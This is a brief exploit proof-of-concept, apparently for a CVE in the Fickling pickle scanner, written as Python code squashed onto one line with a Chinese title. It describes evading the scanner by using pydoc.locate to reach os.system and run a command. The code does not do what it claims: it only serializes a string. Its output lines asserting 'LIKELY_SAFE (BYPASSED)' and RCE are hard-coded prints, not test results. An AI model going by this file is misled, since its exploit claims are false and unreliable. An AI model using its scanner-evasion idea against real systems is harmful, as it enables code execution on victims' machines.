CVE-2026-22608 Fickling pickle扫描器RCE漏洞

import pickle import pickletools import base64 # PoC: 利用ctypes和pydoc.locate绕过Fickling扫描实现RCE # 此PoC演示如何构造绕过安全扫描的恶意pickle def generate_malicious_pickle(): """ Generate a malicious pickle that bypasses Fickling scanner and achieves RCE using ctypes + pydoc.locate """ # Method 1: Using pydoc.locate to get dangerous functions # This bypasses Fickling's security checks malicious_code = ''' import ctypes import pydoc # Use pydoc.locate to dynamically locate os.system os_system = pydoc.locate('os.system') # Execute arbitrary command os_system('whoami > /tmp/pwned.txt') ''' # Serialize the malicious code malicious_pickle = pickle.dumps(malicious_code) # Alternative method: Direct ctypes abuse # ctypes can be used to call system functions directly return malicious_pickle def check_detection(): """ Simulate Fickling detection """ pickle_data = generate_malicious_pickle() # The scanner would incorrectly report this as LIKELY_SAFE # because pydoc.locate and ctypes are not blocked print('Pickle data generated') print('Fickling scanner would report: LIKELY_SAFE (BYPASSED)') print('Actual behavior: RCE via pydoc.locate + ctypes') return pickle_data if __name__ == '__main__': check_detection()